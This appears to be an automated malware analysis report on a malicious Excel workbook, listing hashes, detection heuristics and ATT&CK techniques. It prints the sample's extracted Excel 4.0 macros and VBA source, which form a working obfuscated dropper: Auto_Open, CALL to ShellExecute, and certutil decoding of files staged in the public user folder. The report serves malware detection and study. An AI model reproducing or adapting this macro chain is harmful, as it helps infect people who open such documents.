Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3660451767a88435…

MALICIOUS

Office (OLE)

258.5 KB First seen: 2026-06-05
MD5: a5d73c168b845709a0ee66bf2ec04f28 SHA-1: 9c679bc7cef2e5d12cc64f34adf9e10b3e7da0f5 SHA-256: 3660451767a88435db24c6a55892706fa3c167d5207d78716a13704fc9f2e9ff
300 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, including an Auto_Open function, which is a critical indicator of malicious intent. The presence of ShellExecute and certutil API references further suggests the execution of arbitrary code and potential downloading of additional payloads. The VBA macros also indicate a layered approach to execution, likely to obfuscate the primary malicious activity.

Heuristics 7

  • ClamAV: Doc.Downloader.Trojan-bf70f023603538ee-bf70f023603538ee-9950269-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Trojan-bf70f023603538ee-bf70f023603538ee-9950269-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Reference to certutil (download/decode) high SC_STR_CERTUTIL
    Reference to certutil (download/decode)
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Related samples 3

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 5649 bytes
SHA-256: 669cc3e50e1843bcc39f11c844ab35e129b4185fc11cb6a4c374879bbfc982a7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     27 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A1 
' 0018     23 LABEL : Cell Value, String Constant - RectDraw hidden len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Sheet,A1,"IF(1,1)",""
'  Sheet,A3,RectDraw( Sheet!A17),""
'  Sheet,A5,"CALL( Sheet!A10, Sheet!A11, Sheet!A16,0, Sheet!A9, Sheet!A12, Sheet!A21,0,0)",""
'  Sheet,A7,"IF(1,1)",""
'  Sheet,A8,WAIT(NOW()+"00:00:06"),""
'  Sheet,A10,"CALL( Sheet!A10, Sheet!A11, Sheet!A16,0, Sheet!A9, Sheet!A12, Sheet!A22,0,0)",""
'  Sheet,A11,WAIT(NOW()+"00:00:05"),""
'  Sheet,A12,"CALL( Sheet!A10, Sheet!A11, Sheet!A16,0, Sheet!A9, Sheet!A15, Sheet!A24,0,0)",""
'  Sheet,A13,HALT(),""
'  Sheet,A9,"CONCATENATE(O3,P3,E3,N3)",""
'  Sheet,A10,"CONCATENATE(S5,H3,E3,L3,L3,3,2)",""
'  Sheet,A11,"CONCATENATE(S5,H3,E3,L3,L3,E5,X3,E3,C3,U3,T3,E3,A5)",""
'  Sheet,A12,"CONCATENATE(C3,E3,R3,T3,U3,T3,I3,L3,BD3,E3,X3,E3)",""
'  Sheet,A13,"CONCATENATE(BD3,F3,O3)",""
'  Sheet,A14,"CONCATENATE(BD3,D3,L3,L3)",""
'  Sheet,A15,"CONCATENATE(R3,U3,N3,D3,L3,L3,3,2,BD3,E3,X3,E3)",""
'  Sheet,A16,"CONCATENATE(J5,J5,C5,C5,C5,C5,J5)",""
'  Sheet,A17,"CONCATENATE(C5,":","\",U5,S3,E3,R3,S3,"\",P5,U3,B3,L3,I3,C3,"\",A20)",""
'  Sheet,A18,"CONCATENATE(" -",D3,E3,C3,O3,D3,E3,H3,E3,X3," ")",""
'  Sheet,A19,"CONCATENATE(" -",D3,E3,C3,O3,D3,E3," ")",""
'  Sheet,A20,"['999', '3999', '*STACKERROR* not enough arguments for function: User Defined Function']",""
'  Sheet,A21,"CONCATENATE(A19,A17,A13," ",A17,A13,2)",""
'  Sheet,A22,"CONCATENATE(A18,A17,A13,2," ",A17,A14)",""
'  Sheet,A24,"CONCATENATE(" ",A17,A14,",",D5)",""
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1826 bytes
SHA-256: b10b3c2411dad3a119b953a14df4d49c08a4d0ed2ca4aa11995356167549f2ae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Public Wizz As String
Public Jizz As String
Public Rez As Long

Public Function RectDraw(Length As String)
    Dim One As String
    Setter
    Putter
    One = "Please enter the line length"
    Worksheets("Sheet2").SaveAs Length & Jizz, Rez
    Dim Two As String
    Two = "Please enter the line amount"
    Worksheets("Sheet1").SaveAs Length & Wizz, Rez
    Dim Three As String
    Three = "Please enter the line length"
End Function

Public Function Setter()
    Rez = 42
    Wizz = ".xls"
End Function

Public Function Putter()
    Jizz = ".fo"
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.